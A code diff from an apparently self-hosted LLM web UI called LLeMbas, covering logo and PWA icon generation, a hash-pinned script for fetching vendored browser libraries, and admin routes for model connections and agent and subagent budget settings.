+    "M32.0 33.3 Q30.1 31.5 29.8 29.2",
-    "M37.8 27.0 Q36.6 24.6 36.3 21.7",
+    "M37.8 26.9 Q36.4 25.6 36.1 23.7",
-    "M26.9 38.8 Q30.5 40.1 33.7 40.3",
+    "M26.8 39.2 Q28.7 40.9 30.7 40.8",
-    "M32.3 33.1 Q35.8 34.3 38.6 34.5",
+    "M32.0 33.3 Q33.9 35.0 36.1 34.9",
-    "M37.8 27.0 Q40.8 27.9 43.2 28.1",
+    "M37.8 26.9 Q39.4 28.2 40.9 28.2",
 ]
 
+# The wafer's break-lines. Axis-aligned and crossed, deliberately: a single
+# diagonal behind a diagonal leaf does not read as scoring, it reads as a line
+# struck through the mark. Thin and faint, so it is texture and not structure.
+WAFER_SCORES = ("M32 5 V59", "M5 32 H59")
+WAFER_SCORE_HILIGHTS = ("M33.1 5 V59", "M5 33.1 H59")
+
 HEADER = '<svg xmlns="http://www.w3.org/2000/svg"'
 
 
@@ -174,10 +216,10 @@ def type_style(indent: str = "    ") -> str:
     """
     return f"""{indent}<style>
 {indent}  .base {{ fill: var(--lembas-ink, {INK}); }}
-{indent}  .accent {{ fill: var(--lembas-gold, {GOLD}); }}
+{indent}  .accent {{ fill: var(--lembas-leaf, {MALLORN_DEEP}); }}
 {indent}  @media (prefers-color-scheme: dark) {{
 {indent}    .base {{ fill: var(--lembas-ink, {PARCHMENT}); }}
-{indent}    .accent {{ fill: var(--lembas-gold, {RUNE_GOLD}); }}
+{indent}    .accent {{ fill: var(--lembas-leaf, {MALLORN}); }}
 {indent}  }}
 {indent}</style>"""
 
@@ -186,9 +228,9 @@ def type_style(indent: str = "    ") -> str:
 def mark_defs(prefix: str) -> str:
     return f"""  <defs>
     <linearGradient id="{prefix}-wafer" x1="0" y1="0" x2="0.3" y2="1">
-      <stop offset="0" stop-color="{GOLD_LIGHT}"/>
+      <stop offset="0" stop-color="{WAFER_LIGHT}"/>
-      <stop offset="0.5" stop-color="{GOLD}"/>
+      <stop offset="0.5" stop-color="{WAFER}"/>
-      <stop offset="1" stop-color="{GOLD_DARK}"/>
+      <stop offset="1" stop-color="{WAFER_DARK}"/>
     </linearGradient>
     <linearGradient id="{prefix}-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
       <stop offset="0" stop-color="{LEAF_EDGE}"/>
@@ -196,7 +238,7 @@ def mark_defs(prefix: str) -> str:
       <stop offset="1" stop-color="{LEAF_MID}"/>
     </linearGradient>
     <clipPath id="{prefix}-clip">
-      <rect x="6" y="6" width="52" height="52" rx="13"/>
+      <rect x="5" y="5" width="54" height="54" rx="14"/>
     </clipPath>
   </defs>"""
 
@@ -204,23 +246,23 @@ def mark_defs(prefix: str) -> str:
 def mark_body(prefix: str, *, detail: bool = True) -> str:
     """The wafer-and-leaf mark in a 64x64 box.
 
-    detail=False drops the score lines, rim and veins for small-size use.
+    detail=False drops the score line, rim and veins for small-size use.
     """
-    parts = [f'  <rect x="6" y="6" width="52" height="52" rx="13" fill="url(#{prefix}-wafer)"/>']
+    parts = [f'  <rect x="5" y="5" width="54" height="54" rx="14" fill="url(#{prefix}-wafer)"/>']
 
     if detail:
+        scores = "\n".join(f'      <path d="{s}"/>' for s in WAFER_SCORES)
+        hilights = "\n".join(f'      <path d="{s}"/>' for s in WAFER_SCORE_HILIGHTS)
         parts.append(f"""  <g clip-path="url(#{prefix}-clip)" fill="none" stroke-linecap="round">
-    <g stroke="{GOLD_SCORE}" stroke-opacity="0.38" stroke-width="2">
+    <g stroke="{WAFER_SCORE}" stroke-opacity="0.30" stroke-width="1.8">
-      <path d="M32 6 V58"/>
+{scores}
-      <path d="M6 32 H58"/>
     </g>
-    <g stroke="{GOLD_HILIGHT}" stroke-opacity="0.3" stroke-width="1">
+    <g stroke="{WAFER_HILIGHT}" stroke-opacity="0.20" stroke-width="0.9">
-      <path d="M33.2 6 V58"/>
+{hilights}
-      <path d="M6 33.2 H58"/>
     </g>
   </g>
-  <rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9"
+  <rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
-        fill="none" stroke="{GOLD_SCORE}" stroke-opacity="0.3" stroke-width="1.2"/>""")
+        fill="none" stroke="{WAFER_SCORE}" stroke-opacity="0.32" stroke-width="1.2"/>""")
 
     parts.append(f"""  <g>
     <path d="{LEAF_STEM_PATH}" stroke="{LEAF_STEM}" stroke-width="3"
@@ -245,7 +287,7 @@ def build_logo_mark() -> str:
     return f"""{HEADER} viewBox="0 0 64 64" width="64" height="64"
      role="img" aria-label="LLeMbas">
   <title>LLeMbas</title>
-  <desc>A silver mallorn leaf laid across a scored golden lembas wafer.</desc>
+  <desc>A pale mallorn leaf laid across a scored green lembas wafer.</desc>
 {mark_defs("m")}
 {mark_body("m")}
 </svg>
@@ -253,14 +295,19 @@ def build_logo_mark() -> str:
 
 
 def build_favicon() -> str:
-    """Small-size variant: no score lines or veins, larger blade, tighter tile."""
+    """Small-size variant: no score line or veins, larger blade, tighter tile.
+
+    The tile grows to the edge of the box and the leaf is scaled up again on top
+    of that: at 16px the padding of the full mark is several device pixels of
+    nothing, spent on a rounded corner nobody can see.
+    """
     return f"""{HEADER} viewBox="0 0 64 64" width="64" height="64"
      role="img" aria-label="LLeMbas">
   <title>LLeMbas</title>
 {mark_defs("f")}
-  <rect x="2" y="2" width="60" height="60" rx="14" fill="url(#f-wafer)"/>
+  <rect x="1" y="1" width="62" height="62" rx="15" fill="url(#f-wafer)"/>
-  <g transform="translate(32 32) scale(1.16) translate(-32 -32)">
+  <g transform="translate(32 32) scale(1.1) translate(-32 -32)">
-    <path d="M20.6 44.6 L15.6 50.1" stroke="{LEAF_STEM}" stroke-width="3.4"
+    <path d="{LEAF_STEM_PATH}" stroke="{LEAF_STEM}" stroke-width="3.4"
           stroke-linecap="round" fill="none"/>
     <path d="{LEAF_BLADE}" fill="url(#f-leaf)"/>
     <path d="{LEAF_MIDRIB}" fill="none" stroke="{LEAF_VEIN}" stroke-opacity="0.45"
@@ -316,6 +363,66 @@ def build_lockup() -> str:
 """
 
 
+# --- PWA icons ---------------------------------------------------------------
+# Same geometry as everything else, rasterised because a launcher icon has to
+# be a bitmap. Two shapes are needed, not one:
+#
+#   "any"      -- drawn as supplied, so the wafer's own rounded square is the
+#                 silhouette and the corners stay transparent.
+#   "maskable" -- Android crops it to a circle, squircle or rounded square of
+#                 the launcher's choosing, so the art must be full-bleed and
+#                 the mark must sit inside the central safe zone. An "any"
+#                 icon used as maskable gets its corners sliced off.
+#
+# The Apple icon is opaque for a different reason: iOS composites a home screen
+# icon onto black, so transparency reads as a black tile rather than as the
+# wallpaper showing through.
+def _framed_mark(prefix: str, *, background: str | None = None, inset: float = 0.0) -> str:
+    """The mark on a 64x64 canvas, optionally opaque and inset from the edges."""
+    size = 64.0
+    offset = size * inset
+    scale = 1.0 - inset * 2
+    plate = f'  <rect width="{size:.0f}" height="{size:.0f}" fill="{background}"/>\n'
+    return f"""{HEADER} viewBox="0 0 64 64" width="64" height="64"
+     role="img" aria-label="LLeMbas">
+{mark_defs(prefix)}
+{plate if background else ""}  <g transform="translate({offset:.3f} {offset:.3f}) \
+scale({scale:.4f})">
+{mark_body(prefix)}
+  </g>
+</svg>
+"""
+
+
+def _rasterise(svg: str, size: int) -> bytes:
+    try:
+        import cairosvg
+    except ImportError:  # pragma: no cover - design-time tool
+        sys.exit("cairosvg is required for the PWA icons: pip install cairosvg")
+    return cairosvg.svg2png(
+        bytestring=svg.encode("utf-8"), output_width=size, output_height=size
+    )
+
+
+def build_icon_192() -> bytes:
+    return _rasterise(_framed_mark("i192"), 192)
+
+
+def build_icon_512() -> bytes:
+    return _rasterise(_framed_mark("i512"), 512)
+
+
+def build_icon_maskable() -> bytes:
+    # 20% inset leaves the mark inside the central 60%, comfortably within the
+    # 80% safe circle every launcher mask respects.
+    return _rasterise(_framed_mark("imask", background=NIGHT_MID, inset=0.20), 512)
+
+
+def build_apple_touch_icon() -> bytes:
+    # iOS rounds the corners itself, so only a hairline of padding is wanted.
+    return _rasterise(_framed_mark("iios", background=NIGHT_MID, inset=0.06), 180)
+
+
 def _mountains(width: float, base_y: float, seed: int, height: float, colour: str) -> str:
     """One jagged ridge line spanning the full width."""
     rng = random.Random(seed)
@@ -362,7 +469,7 @@ def _drifting_leaves(seed: int) -> str:
         out.append(
             f'    <g transform="translate({cx} {cy}) rotate({rot}) '
             f'scale({scale}) translate(-32 -32)" opacity="{opacity:.2f}">'
-            f'<path d="{LEAF_BLADE}" fill="{RUNE_GOLD}"/></g>'
+            f'<path d="{LEAF_BLADE}" fill="{MALLORN}"/></g>'
         )
     return "\n".join(out)
 
@@ -402,8 +509,8 @@ def build_banner() -> str:
       <stop offset="1" stop-color="{NIGHT_LOW}"/>
     </linearGradient>
     <radialGradient id="b-glow" cx="0.5" cy="0.54" r="0.5">
-      <stop offset="0" stop-color="{GOLD}" stop-opacity="0.22"/>
+      <stop offset="0" stop-color="{MALLORN}" stop-opacity="0.22"/>
-      <stop offset="1" stop-color="{GOLD}" stop-opacity="0"/>
+      <stop offset="1" stop-color="{MALLORN}" stop-opacity="0"/>
     </radialGradient>
     <!-- Cool light sitting just above the ridge line, so the far mountains
          separate from the near ones instead of merging into one dark mass. -->
@@ -427,7 +534,7 @@ def build_banner() -> str:
 {_mountains(width, 366, 3, 150, "#1C2836")}
 {_mountains(width, 392, 8, 112, "#111A25")}
 {_mountains(width, 416, 21, 74, "#080D13")}
-  <rect y="{height - 5:.0f}" width="{width:.0f}" height="5" fill="{GOLD}" opacity="0.55"/>
+  <rect y="{height - 5:.0f}" width="{width:.0f}" height="5" fill="{MALLORN}" opacity="0.55"/>
 
   <!-- Lockup. Colours are fixed rather than themed: the banner carries its own
        night sky, so it must not follow the reader's colour scheme. -->
@@ -435,7 +542,7 @@ def build_banner() -> str:
 {mark_body("b")}
   </g>
   <g transform="translate({lockup_x + mark_size + gap - run.x0:.2f} {baseline_y:.2f})">
-    <style>.base {{ fill: {PARCHMENT}; }} .accent {{ fill: {RUNE_GOLD}; }}</style>
+    <style>.base {{ fill: {PARCHMENT}; }} .accent {{ fill: {MALLORN}; }}</style>
 {run.paths(ACCENT_GLYPHS, indent="    ")}
   </g>
   <g transform="translate({tag_x:.2f} {tag_y:.2f})">
@@ -453,6 +560,10 @@ BUILDERS = {
     "wordmark.svg": build_wordmark,
     "logo-lockup.svg": build_lockup,
     "banner.svg": build_banner,
+    "icon-192.png": build_icon_192,
+    "icon-512.png": build_icon_512,
+    "icon-maskable-512.png": build_icon_maskable,
+    "apple-touch-icon-180.png": build_apple_touch_icon,
 }
 
 
@@ -463,10 +574,21 @@ def main() -> None:
     args = parser.parse_args()
 
     args.out.mkdir(parents=True, exist_ok=True)
+    STATIC_IMG.mkdir(parents=True, exist_ok=True)
+
     for filename in args.only or BUILDERS:
+        content = BUILDERS[filename]()
+        # The PNG builders return bytes; everything else returns SVG source.
+        data = content if isinstance(content, bytes) else content.encode("utf-8")
+
         path = args.out / filename
-        path.write_text(BUILDERS[filename](), encoding="utf-8")
+        path.write_bytes(data)
-        print(f"wrote {path.relative_to(ROOT)} ({path.stat().st_size:,} bytes)")
+        print(f"wrote {path.relative_to(ROOT)} ({len(data):,} bytes)")
+
+        if filename in SERVED_BY_APP:
+            served = STATIC_IMG / filename
+            served.write_bytes(data)
+            print(f"      -> {served.relative_to(ROOT)}")
 
 
 if __name__ == "__main__":

scripts/fetch_vendor.py

@@ -0,0 +1,149 @@
+#!/usr/bin/env python3
+"""Download the pinned browser libraries into the static vendor directory.
+
+LLeMbas has no Node toolchain and loads nothing from a CDN at runtime -- a
+self-hosted tool should keep working without internet access, and should not
+report every user's page view to a third party. The few libraries it does use
+are fetched once, here, and committed.
+
+Integrity is enforced with vendor.lock.json. A mismatched hash aborts rather
+than overwriting, and so does a name that is not in the lock at all: that is
+the whole point of pinning.
+
+    python scripts/fetch_vendor.py            # fetch and verify against the lock
+    python scripts/fetch_vendor.py --update   # re-pin after a version bump
+"""
+
+from __future__ import annotations
+
+import argparse
+import hashlib
+import json
+import sys
+import urllib.error
+import urllib.request
+from pathlib import Path
+
+ROOT = Path(__file__).resolve().parent.parent
+VENDOR_DIR = ROOT / "src" / "lembas" / "web" / "static" / "vendor"
+LOCKFILE = Path(__file__).resolve().parent / "vendor.lock.json"
+
+# Pinned deliberately. Bump the version, run with --update, review the diff.
+PACKAGES = {
+    "htmx.min.js": {
+        "version": "2.0.10",
+        "url": "https://unpkg.com/htmx.org@2.0.10/dist/htmx.min.js",
+        "why": "Server-rendered interactivity: every swap in the app.",
+    },
+    "htmx-ext-sse.js": {
+        "version": "2.2.4",
+        "url": "https://unpkg.com/htmx-ext-sse@2.2.4/sse.js",
+        "why": "Server-sent events, which is how streamed replies reach the page.",
+    },
+    "alpine.min.js": {
+        "version": "3.15.12",
+        "url": "https://unpkg.com/alpinejs@3.15.12/dist/cdn.min.js",
+        "why": "Small client-only state: menus, theme toggle, composer autosize.",
+    },
+    "xterm.js": {
+        "version": "5.5.0",
+        "url": "https://unpkg.com/@xterm/xterm@5.5.0/lib/xterm.js",
+        "why": "The terminal panel. Loaded only on a chat that has an SSH connection.",
+    },
+    "xterm.css": {
+        "version": "5.5.0",
+        "url": "https://unpkg.com/@xterm/xterm@5.5.0/css/xterm.css",
+        "why": "Terminal layout. Its colours are overridden from tokens.css at runtime.",
+    },
+    "xterm-addon-fit.js": {
+        "version": "0.10.0",
+        "url": "https://unpkg.com/@xterm/addon-fit@0.10.0/lib/addon-fit.js",
+        "why": "Sizes the terminal to the panel; without it a resize is 80x24 forever.",
+    },
+}
+
+
+def sha256(data: bytes) -> str:
+    return hashlib.sha256(data).hexdigest()
+
+
+def fetch(url: str) -> bytes:
+    request = urllib.request.Request(url, headers={"User-Agent": "lembas-vendor-fetch"})
+    with urllib.request.urlopen(request, timeout=60) as response:  # noqa: S310
+        return response.read()
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument(
+        "--update",
+        action="store_true",
+        help="rewrite vendor.lock.json with the hashes just downloaded",
+    )
+    args = parser.parse_args()
+
+    lock = json.loads(LOCKFILE.read_text()) if LOCKFILE.exists() else {}
+    VENDOR_DIR.mkdir(parents=True, exist_ok=True)
+
+    new_lock: dict[str, dict[str, str]] = {}
+    failed = False
+
+    for filename, spec in PACKAGES.items():
+        try:
+            payload = fetch(spec["url"])
+        except (urllib.error.URLError, TimeoutError) as exc:
+            print(f"  FAIL {filename}: {exc}", file=sys.stderr)
+            failed = True
+            continue
+
+        digest = sha256(payload)
+        expected = lock.get(filename, {}).get("sha256")
+
+        if lock and not expected and not args.update:
+            # A name added to PACKAGES but absent from the lock has nothing to
+            # compare against, so the mismatch branch below never fires and the
+            # file lands unpinned -- which is the one thing this script exists
+            # to prevent. Adding a library is a --update, like bumping one.
+            print(
+                f"  FAIL {filename}: not in {LOCKFILE.name}\n"
+                f"       Nothing to verify this download against. If the "
+                f"library was added deliberately, re-run with --update.",
+                file=sys.stderr,
+            )
+            failed = True
+            continue
+
+        if expected and digest != expected and not args.update:
+            print(
+                f"  FAIL {filename}: hash mismatch\n"
+                f"       expected {expected}\n"
+                f"       received {digest}\n"
+                f"       Refusing to overwrite. If the version was bumped "
+                f"deliberately, re-run with --update.",
+                file=sys.stderr,
+            )
+            failed = True
+            continue
+
+        (VENDOR_DIR / filename).write_bytes(payload)
+        new_lock[filename] = {
+            "version": spec["version"],
+            "url": spec["url"],
+            "sha256": digest,
+        }
+        status = "ok" if expected == digest else ("pinned" if args.update else "new")
+        print(f"  {status:>6}  {filename}  {len(payload):>8,} bytes  v{spec['version']}")
+
+    if failed:
+        print("\nOne or more downloads failed. Vendored files were not fully written.")
+        return 1
+
+    if args.update or not LOCKFILE.exists():
+        LOCKFILE.write_text(json.dumps(new_lock, indent=2, sort_keys=True) + "\n")
+        print(f"\nwrote {LOCKFILE.relative_to(ROOT)}")
+
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

scripts/vendor.lock.json

@@ -0,0 +1,32 @@
+{
+  "alpine.min.js": {
+    "sha256": "57b37d7cae9a27d965fdae4adcc844245dfdc407e655aee85dcfff3a08036a3f",
+    "url": "https://unpkg.com/alpinejs@3.15.12/dist/cdn.min.js",
+    "version": "3.15.12"
+  },
+  "htmx-ext-sse.js": {
+    "sha256": "3b5992a541619babefc4c169505af474df5c3039da51e59b96ccf9241ecd61d2",
+    "url": "https://unpkg.com/htmx-ext-sse@2.2.4/sse.js",
+    "version": "2.2.4"
+  },
+  "htmx.min.js": {
+    "sha256": "71ea67185bfa8c98c39d31717c6fce5d852370fcdfd129db4543774d3145c0de",
+    "url": "https://unpkg.com/htmx.org@2.0.10/dist/htmx.min.js",
+    "version": "2.0.10"
+  },
+  "xterm-addon-fit.js": {
+    "sha256": "bdaefa370b1bfc42ee88d46fe6072400902a4d4b2d45cd93438dda9b23c97089",
+    "url": "https://unpkg.com/@xterm/addon-fit@0.10.0/lib/addon-fit.js",
+    "version": "0.10.0"
+  },
+  "xterm.css": {
+    "sha256": "ba8e6985669488981ccf40c0cefe3aba80722cb6c92de7ad628b0bd717faf2b6",
+    "url": "https://unpkg.com/@xterm/xterm@5.5.0/css/xterm.css",
+    "version": "5.5.0"
+  },
+  "xterm.js": {
+    "sha256": "1f991ac3b4b283ebf96e60ae23a00a52765dd3a2e46fa6fdda9f1aab032f7495",
+    "url": "https://unpkg.com/@xterm/xterm@5.5.0/lib/xterm.js",
+    "version": "5.5.0"
+  }
+}

src/lembas/__init__.py

@@ -1,3 +1,3 @@
 """LLeMbas - a Middle-earth themed web UI for OpenAI-compatible LLM endpoints."""
 
-__version__ = "0.1.0"
+__version__ = "1.0.1"

src/lembas/api/admin.py

@@ -0,0 +1,256 @@
+"""Administration: OpenAI-compatible connections and their models."""
+
+from __future__ import annotations
+
+import logging
+from datetime import UTC, datetime
+
+from fastapi import APIRouter, Form, HTTPException, Request, Response, status
+from fastapi.responses import RedirectResponse
+from sqlalchemy import func, select
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.api.deps import AdminUser, Db
+from lembas.db.models import Connection, Model, User
+from lembas.services import settings_store
+from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, encrypt, mask
+from lembas.services.llm.openai_client import Endpoint, LLMError, context_from, list_models
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin", tags=["admin"])
+
+
+def _connection(db: DBSession, connection_id: str) -> Connection:
+    connection = db.get(Connection, connection_id)
+    if connection is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That connection no longer exists.")
+    return connection
+
+
+def _connections(db: DBSession) -> list[Connection]:
+    return list(db.scalars(select(Connection).order_by(Connection.position, Connection.name)))
+
+
+@router.get("")
+async def admin_home(user: AdminUser):
+    return RedirectResponse("/admin/general", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.get("/general")
+async def general_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
+    return render(
+        request,
+        "admin/general.html",
+        {
+            "values": settings_store.get_group(db),
+            "saved": saved,
+            "user_count": db.scalar(select(func.count()).select_from(User)),
+        },
+    )
+
+
+@router.post("/general")
+async def save_general(
+    db: Db,
+    user: AdminUser,
+    allow_signup: bool = Form(False),
+    system_prompt: str = Form(""),
+    compact_threshold: int = Form(95),
+    max_chat_rounds: int = Form(5),
+) -> Response:
+    """Save instance settings.
+
+    Unchecked checkboxes are simply absent from a form post, which is why
+    allow_signup defaults to False here -- that absence *is* the "off" signal.
+    """
+    settings_store.update(
+        db,
+        {
+            "allow_signup": allow_signup,
+            "system_prompt": system_prompt.strip()[:8000],
+            # 0 is "never"; anything else is clamped into a band where it can
+            # do some good. 100 is useless -- you cannot compact after
+            # overflowing -- and below 50 it fires while there is plenty left.
+            "compact_threshold": (
+                0 if compact_threshold <= 0 else min(max(compact_threshold, 50), 99)
+            ),
+            # Floor of 0, not 1: zero is how "no ceiling" is said, and the loop
+            # falls back to a runaway backstop rather than to this number.
+            "max_chat_rounds": min(max(max_chat_rounds, 0), 100),
+        },
+    )
+    log.info("registration %s by %s", "opened" if allow_signup else "closed", user.email)
+    return RedirectResponse("/admin/general?saved=1", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.get("/connections")
+async def connections_page(request: Request, db: Db, user: AdminUser, message: str = ""):
+    connections = _connections(db)
+    return render(
+        request,
+        "admin/connections.html",
+        {
+            "connections": connections,
+            "masked": {c.id: mask(decrypt(c.api_key_encrypted)) for c in connections},
+            "model_counts": {
+                c.id: sum(1 for m in c.models if m.enabled) for c in connections
+            },
+            "message": message,
+            "unchanged": UNCHANGED_SENTINEL,
+        },
+    )
+
+
+@router.post("/connections")
+async def create_connection(
+    db: Db,
+    user: AdminUser,
+    name: str = Form(...),
+    base_url: str = Form(...),
+    api_key: str = Form(""),
+) -> Response:
+    base_url = base_url.strip().rstrip("/")
+    if not base_url.startswith(("http://", "https://")):
+        raise HTTPException(
+            status.HTTP_400_BAD_REQUEST,
+            "The base URL must start with http:// or https://",
+        )
+
+    position = db.scalar(select(func.coalesce(func.max(Connection.position), -1))) + 1
+    connection = Connection(
+        name=name.strip()[:120] or "Connection",
+        base_url=base_url,
+        api_key_encrypted=encrypt(api_key.strip()),
+        position=position,
+    )
+    db.add(connection)
+    db.commit()
+
+    # Discover models immediately: a connection that lists nothing is
+    # indistinguishable from a broken one, and finding out now is the point.
+    await _refresh_models(db, connection)
+    return RedirectResponse("/admin/connections", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/connections/{connection_id}")
+async def update_connection(
+    db: Db,
+    user: AdminUser,
+    connection_id: str,
+    name: str = Form(...),
+    base_url: str = Form(...),
+    api_key: str = Form(""),
+    enabled: bool = Form(False),
+    unload_url: str = Form(""),
+    unload_method: str = Form("POST"),
+) -> Response:
+    connection = _connection(db, connection_id)
+    connection.name = name.strip()[:120] or connection.name
+    connection.base_url = base_url.strip().rstrip("/")
+    connection.enabled = enabled
+    # How to ask this endpoint to drop its model, for image generation's
+    # Preserve VRAM. Empty means it cannot be unloaded, which is the honest
+    # answer for anything not running on the machine ComfyUI is on.
+    connection.unload_url = unload_url.strip()[:500]
+    method = unload_method.strip().upper()
+    connection.unload_method = method if method in ("GET", "POST") else "POST"
+
+    submitted = api_key.strip()
+    if submitted and submitted != UNCHANGED_SENTINEL:
+        connection.api_key_encrypted = encrypt(submitted)
+    elif not submitted:
+        # An explicitly emptied field means "this endpoint needs no key".
+        connection.api_key_encrypted = ""
+
+    db.commit()
+    return RedirectResponse("/admin/connections", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/connections/{connection_id}/test")
+async def test_connection(
+    request: Request, db: Db, user: AdminUser, connection_id: str
+) -> Response:
+    """Contact the endpoint and refresh its model list."""
+    connection = _connection(db, connection_id)
+    count, error = await _refresh_models(db, connection)
+
+    message = (
+        f"{connection.name}: {error}"
+        if error
+        else f"{connection.name}: found {count} model{'s' if count != 1 else ''}."
+    )
+    return render(
+        request,
+        "admin/_connection_row.html",
+        {
+            "connection": connection,
+            "masked": mask(decrypt(connection.api_key_encrypted)),
+            "message": message,
+            "message_kind": "error" if error else "success",
+            "unchanged": UNCHANGED_SENTINEL,
+        },
+    )
+
+
+async def _refresh_models(db: DBSession, connection: Connection) -> tuple[int, str]:
+    """Sync the cached model list. Returns (count, error message)."""
+    try:
+        discovered = await list_models(Endpoint.from_connection(connection))
+    except LLMError as exc:
+        connection.last_error = exc.message
+        connection.last_checked_at = datetime.now(UTC)
+        db.commit()
+        return 0, exc.message
+
+    existing = {model.model_id: model for model in connection.models}
+    seen: set[str] = set()
+
+    # New models land after everything already ordered, rather than all at
+    # position 0 where they would sort by id and shuffle the existing list.
+    # No `or -1` after the coalesce: position 0 is falsy, so that idiom sent the
+    # second discovered model back to 0 on top of the first.
+    highest = db.scalar(select(func.coalesce(func.max(Model.position), -1)))
+    next_position = int(highest if highest is not None else -1) + 1
+
+    for entry in discovered:
+        model_id = str(entry["id"])[:300]
+        seen.add(model_id)
+        if model_id in existing:
+            # A context length is filled in only when nobody has one yet. A
+            # refresh must never overwrite a number an administrator typed --
+            # they are usually correcting the endpoint.
+            model = existing[model_id]
+            if not model.context_length:
+                model.context_length = context_from(entry)
+            continue
+        db.add(
+            Model(
+                connection_id=connection.id,
+                model_id=model_id,
+                position=next_position,
+                context_length=context_from(entry),
+            )
+        )
+        next_position += 1
+
+    # Models that vanished upstream are dropped, so the picker never offers
+    # something the endpoint will reject.
+    for model_id, model in existing.items():
+        if model_id not in seen:
+            db.delete(model)
+
+    connection.last_error = ""
+    connection.last_checked_at = datetime.now(UTC)
+    db.commit()
+    log.info("connection %s: %d models", connection.name, len(seen))
+    return len(seen), ""
+
+
+@router.post("/connections/{connection_id}/delete")
+async def delete_connection(db: Db, user: AdminUser, connection_id: str) -> Response:
+    connection = _connection(db, connection_id)
+    db.delete(connection)
+    db.commit()
+    return RedirectResponse("/admin/connections", status_code=status.HTTP_303_SEE_OTHER)

src/lembas/api/admin_agents.py

@@ -0,0 +1,201 @@
+"""Whether agent chats exist here at all, and what they may spend.
+
+An administrator's half of the feature. The other half -- which machines, whose
+credentials -- belongs to whoever owns them and lives at `/agents`.
+
+Nothing here is about isolation, because there is none to configure: commands
+run on a host somebody chose, and its containment is that host's. The settings
+are budgets, and the two lists that decide what a mode asks about.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Form, Request, Response, status
+from fastapi.responses import RedirectResponse
+from sqlalchemy import func, select
+
+from lembas.api.deps import AdminUser, Db
+from lembas.db.models import SshProfile
+from lembas.services import settings_store
+from lembas.services.agent import hosts, policy
+from lembas.services.agent import ssh as ssh_service
+from lembas.services.agent import terminal as terminal_service
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin/agents", tags=["admin-agents"])
+
+
+def _lines(text: str) -> list[str]:
+    """One pattern per line, blanks dropped."""
+    return [line.strip() for line in (text or "").splitlines() if line.strip()]
+
+
+@router.get("")
+async def agents_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
+    values = settings_store.agents(db)
+    return render(
+        request,
+        "admin/agents.html",
+        {
+            "values": values,
+            "allow_text": "\n".join(values.get("allow_default") or []),
+            "deny_text": "\n".join(values.get("deny_default") or []),
+            "problem": ssh_service.available(),
+            "profile_count": db.scalar(select(func.count()).select_from(SshProfile)) or 0,
+            "terminal_count": terminal_service.count(),
+            "modes": [(m, policy.MODE_LABELS[m], policy.MODE_HINTS[m]) for m in policy.MODES],
+            "loopback_modes": [
+                (m, hosts.MODE_LABELS[m], hosts.MODE_HINTS[m]) for m in hosts.MODES
+            ],
+            # How many of this instance's connections the current position would
+            # stop. The number is the point of the card: "3 connections" beside
+            # a switch somebody is about to move is the difference between an
+            # informed change and a surprise.
+            "loopback_count": sum(
+                1
+                for p in db.scalars(select(SshProfile))
+                if hosts.is_loopback(p.host) or p.resolves_here
+            ),
+            # A group of its own, saved by its own form. Subagents are not an
+            # agent-chat feature -- an ordinary chat can delegate too -- but
+            # this is the page somebody looks at when they want to know what a
+            # reply is allowed to set going on its own, and a nav entry for one
+            # card would be worse than the near-miss.
+            "subagents": settings_store.subagents(db),
+            "saved": saved,
+        },
+    )
+
+
+@router.post("/subagents")
+async def save_subagents(
+    db: Db,
+    user: AdminUser,
+    enabled: bool = Form(False),
+    max_per_reply: int = Form(4),
+    max_concurrent: int = Form(6),
+    max_rounds: int = Form(30),
+    wall_seconds: int = Form(600),
+    max_completion_tokens: int = Form(60_000),
+    keep_transcript: bool = Form(False),
+) -> Response:
+    """Its own route because it is its own settings group.
+
+    A single form writing two groups would mean one save handler deciding which
+    key each field belongs to, which is a mapping that goes wrong silently. Two
+    forms, two keys, and the browser posts only the one that was submitted.
+    """
+    settings_store.update(
+        db,
+        {
+            "enabled": enabled,
+            # Clamped here as well as on read, for the reason the agent settings
+            # give: a number with no bound is a way to break the instance from a
+            # form. Zero is kept only for the token ceiling, where it means "no
+            # ceiling"; everywhere else a zero would be the feature switched off
+            # wearing the switch's clothes.
+            "max_per_reply": min(max(max_per_reply, 1), 20),
+            "max_concurrent": min(max(max_concurrent, 1), 50),
+            "max_rounds": min(max(max_rounds, 1), 200),
+            "wall_seconds": min(max(wall_seconds, 30), 7200),
+            "max_completion_tokens": min(max(max_completion_tokens, 0), 5_000_000),
+            "keep_transcript": keep_transcript,
+        },
+        key=settings_store.SUBAGENTS,
+    )
+    log.info("subagents %s by %s", "enabled" if enabled else "disabled", user.email)
+    return RedirectResponse("/admin/agents?saved=1", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("")
+async def save_agents(
+    db: Db,
+    user: AdminUser,
+    enabled: bool = Form(False),
+    loopback: str = Form("off"),
+    loopback_port: int = Form(0),
+    default_timeout: int = Form(60),
+    max_timeout: int = Form(600),
+    max_output_bytes: int = Form(64 * 1024),
+    max_steps: int = Form(200),
+    max_wall_seconds: int = Form(900),
+    max_total_output_bytes: int = Form(1024 * 1024),
+    max_completion_tokens: int = Form(200_000),
+    approval_timeout: int = Form(900),
+    allow_default: str = Form(""),
+    deny_default: str = Form(""),
+    ask_free_text: bool = Form(False),
+    terminal_enabled: bool = Form(False),
+    terminal_idle_timeout: int = Form(1800),
+    terminal_max_sessions: int = Form(20),
+    terminal_max_per_user: int = Form(3),
+    terminal_integration: bool = Form(False),
+    index_enabled: bool = Form(False),
+    index_chars: int = Form(2000),
+    instructions_enabled: bool = Form(False),
+    instructions_chars: int = Form(4000),
+    nudge_unfinished: bool = Form(False),
+    background_enabled: bool = Form(False),
+    background_on_timeout: bool = Form(False),
